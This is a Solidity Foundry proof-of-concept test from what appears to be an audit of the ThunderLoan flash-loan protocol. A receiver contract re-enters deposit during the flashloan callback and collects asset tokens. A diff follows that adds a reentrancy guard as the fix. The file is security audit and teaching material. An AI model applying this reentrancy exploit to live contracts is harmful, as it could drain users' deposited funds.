pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockTokenReentry is ERC20 {
constructor() ERC20("MockToken", "MTK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockPoolFactoryReentry {
mapping(address => address) private s_pools;
function createPool(address token) external returns (address) {
MockTSwapPoolReentry pool = new MockTSwapPoolReentry();
s_pools[token] = address(pool);
return address(pool);
}
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
contract MockTSwapPoolReentry {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
contract ReentrantReceiver {
ThunderLoan public tl;
IERC20 public token;
bool public depositedDuringCallback;
constructor(address _tl, address _token) {
tl = ThunderLoan(_tl);
token = IERC20(_token);
}
function executeOperation(
address _token, uint256 amount, uint256 fee,
address, bytes calldata
) external returns (bool) {
token.approve(address(tl), amount);
tl.deposit(token, amount);
depositedDuringCallback = true;
token.approve(address(tl), fee);
tl.repay(token, fee);
return true;
}
}
contract Exploit_M02 is Test {
ThunderLoan thunderLoan;
MockTokenReentry tokenA;
AssetToken assetToken;
address lp = address(0x1);
function setUp() public {
tokenA = new MockTokenReentry();
MockPoolFactoryReentry pf = new MockPoolFactoryReentry();
pf.createPool(address(tokenA));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
tokenA.mint(lp, 1000e18);
vm.startPrank(lp);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
}
function testExploit_DepositDuringCallbackNoGuard() public {
uint256 borrowAmount = 500e18;
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), borrowAmount);
ReentrantReceiver receiver = new ReentrantReceiver(address(thunderLoan), address(tokenA));
tokenA.mint(address(receiver), fee);
thunderLoan.flashloan(address(receiver), IERC20(address(tokenA)), borrowAmount, "");
assertTrue(receiver.depositedDuringCallback(), "Deposit during callback was not blocked");
uint256 receiverAssets = assetToken.balanceOf(address(receiver));
assertGt(receiverAssets, 0, "Receiver got asset tokens via reentry");
console.log("Receiver got asset tokens during callback:", receiverAssets);
console.log("PROVEN: No reentrancy guard on flashloan/deposit");
}
}
+ import { ReentrancyGuardUpgradeable } from
+ "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
- contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+ contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable, ReentrancyGuardUpgradeable {
function initialize(address tswapAddress) external initializer {
__Ownable_init();
__UUPSUpgradeable_init();
__Oracle_init(tswapAddress);
+ __ReentrancyGuard_init();
s_feePrecision = 1e18;
s_flashLoanFee = 3e15;
}
- function flashloan(...) external {
+ function flashloan(...) external nonReentrant {
- function deposit(...) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ function deposit(...) external nonReentrant revertIfZero(amount) revertIfNotAllowedToken(token) {
- function redeem(...) external revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token) {
+ function redeem(...) external nonReentrant revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token) {